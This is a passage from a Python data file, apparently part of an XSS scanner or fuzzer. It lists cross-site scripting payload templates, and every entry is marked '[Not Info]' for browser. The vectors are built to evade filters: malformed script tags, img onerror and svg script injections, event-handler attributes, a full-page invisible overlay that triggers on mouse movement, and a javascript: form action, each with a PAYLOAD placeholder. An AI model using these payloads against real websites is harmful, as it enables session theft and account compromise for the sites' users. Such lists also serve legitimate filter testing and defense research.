  1120. 'browser':"""[Not Info]"""},
  1121. { 'payload':'''<body/onload=&lt;!--&gt;&#10PAYLOAD>''',
  1122. 'browser':"""[Not Info]"""},
  1123. { 'payload':'''<script itworksinallbrowsers>/*<script* */PAYLOAD</script''',
  1124. 'browser':"""[Not Info]"""},
  1125. { 'payload':'''<img src ?itworksonchrome?\/onerror = PAYLOAD''',
  1126. 'browser':"""[Not Info]"""},
  1127. { 'payload':'''<svg><script onlypossibleinopera:-)> PAYLOAD''',
  1128. 'browser':"""[Not Info]"""},
  1129. { 'payload':'''<script x> PAYLOAD </script 1=2''',
  1130. 'browser':"""[Not Info]"""},
  1131. { 'payload':'''<div/onmouseover='PAYLOAD'> style="x:">''',
  1132. 'browser':"""[Not Info]"""},
  1133. { 'payload':'''<--`<img/src=` onerror=PAYLOAD> --!>''',
  1134. 'browser':"""[Not Info]"""},
  1135. { 'payload':'''<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="PAYLOAD">x</button>''',
  1136. 'browser':"""[Not Info]"""},
  1137. { 'payload':'''<form><button formaction=javascript&colon;PAYLOAD>X''',
  1138. 'browser':"""[Not Info]"""}
  1139. ]